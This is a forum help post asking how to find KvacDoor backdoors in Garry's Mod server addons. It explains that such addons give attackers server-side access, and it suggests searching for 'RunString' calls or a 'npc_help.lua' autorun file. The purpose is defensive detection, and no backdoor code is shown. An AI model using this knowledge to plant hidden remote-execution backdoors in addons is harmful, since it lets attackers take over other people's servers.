[HELP] Question about kvac (backdoors)

I've found this; - If anyone has anything that could help with this, or more of with backdoors so I can look more efficiently or so, that'd help a lot.
(I stopped using gmodstore since an incident that got me banned for someone else gifting and refunding, I lost about 500$+ and was denied for getting them back)

"kvac" also know as KvacDoor is a garry's mod backdooring website that lets people who post backdoored addons gain serverside access to the server you're using it in. the code showcased is encrypted code from kvac premium. other panels have something simular such as omega. a good way of finding a backdoor like this you check for code containing "RunString". or if npc_help.lua exists in lua/autorun/server
